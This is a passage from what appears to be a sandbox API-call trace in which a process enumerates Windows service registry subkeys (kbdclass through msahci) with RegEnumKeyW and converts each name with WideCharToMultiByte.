cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iscsiprt", lpUsedDefaultChar=0x0) returned 8 [0191.059] RegEnumKeyW (in: hKey=0x140, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0191.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdclass", lpUsedDefaultChar=0x0) returned 8 [0191.059] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0191.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdhid", lpUsedDefaultChar=0x0) returned 6 [0191.059] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0191.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyiso", lpUsedDefaultChar=0x0) returned 6 [0191.059] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0191.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecdd", lpUsedDefaultChar=0x0) returned 6 [0191.059] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0191.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecpkg", lpUsedDefaultChar=0x0) returned 7 [0191.060] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0191.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksthunk", lpUsedDefaultChar=0x0) returned 7 [0191.060] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0191.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0191.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ktmrm", lpUsedDefaultChar=0x0) returned 5 [0191.060] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0191.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0191.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x21f1a90, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanserver", lpUsedDefaultChar=0x0) returned 12 [0191.060] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0191.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0191.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanworkstation", lpUsedDefaultChar=0x0) returned 17 [0191.060] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0191.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0191.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ldap", lpUsedDefaultChar=0x0) returned 4 [0191.060] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0191.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdio", lpUsedDefaultChar=0x0) returned 6 [0191.062] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0191.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdsvc", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lltdsvc", lpUsedDefaultChar=0x0) returned 7 [0191.062] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0191.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lmhosts", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lmhosts", lpUsedDefaultChar=0x0) returned 7 [0191.062] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0191.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0191.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsa", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsa", lpUsedDefaultChar=0x0) returned 3 [0191.062] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0191.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_fc", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_fc", lpUsedDefaultChar=0x0) returned 6 [0191.062] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0191.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas", lpUsedDefaultChar=0x0) returned 7 [0191.062] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0191.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas2", lpUsedDefaultChar=0x0) returned 8 [0191.063] RegEnumKeyW (in: hKey=0x140, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0191.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_scsi", lpUsedDefaultChar=0x0) returned 8 [0191.063] RegEnumKeyW (in: hKey=0x140, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0191.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0191.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="luafv", lpUsedDefaultChar=0x0) returned 5 [0191.063] RegEnumKeyW (in: hKey=0x140, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0191.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mcx2svc", lpUsedDefaultChar=0x0) returned 7 [0191.063] RegEnumKeyW (in: hKey=0x140, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0191.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasas", lpUsedDefaultChar=0x0) returned 7 [0191.063] RegEnumKeyW (in: hKey=0x140, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0191.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasr", lpUsedDefaultChar=0x0) returned 6 [0191.063] RegEnumKeyW (in: hKey=0x140, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0191.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0191.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x21f18e0, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sharepoint workspace audit service", lpUsedDefaultChar=0x0) returned 44 [0191.064] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0191.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0191.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmcss", lpUsedDefaultChar=0x0) returned 5 [0191.064] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0191.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0191.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modem", lpUsedDefaultChar=0x0) returned 5 [0191.064] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0191.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0191.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="monitor", lpUsedDefaultChar=0x0) returned 7 [0191.064] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0191.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouclass", lpUsedDefaultChar=0x0) returned 8 [0191.064] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0191.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouhid", lpUsedDefaultChar=0x0) returned 6 [0191.064] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0191.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mountmgr", lpUsedDefaultChar=0x0) returned 8 [0191.064] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0191.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0191.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x21f1a90, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mozillamaintenance", lpUsedDefaultChar=0x0) returned 18 [0191.065] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0191.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0191.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpio", lpUsedDefaultChar=0x0) returned 4 [0191.065] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0191.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpsdrv", lpUsedDefaultChar=0x0) returned 6 [0191.088] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0191.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpssvc", lpUsedDefaultChar=0x0) returned 6 [0191.088] RegEnumKeyW (in: hKey=0x140, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0191.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxdav", lpUsedDefaultChar=0x0) returned 6 [0191.089] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0191.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb", lpUsedDefaultChar=0x0) returned 6 [0191.089] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0191.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb10", lpUsedDefaultChar=0x0) returned 8 [0191.089] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0191.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0191.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb20", lpUsedDefaultChar=0x0) returned 8 [0191.089] RegEnumKeyW (in: hKey=0x140, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0191.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0191.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msahci", lpUsedDefaultChar=0x0) returned 6 [0191.089] 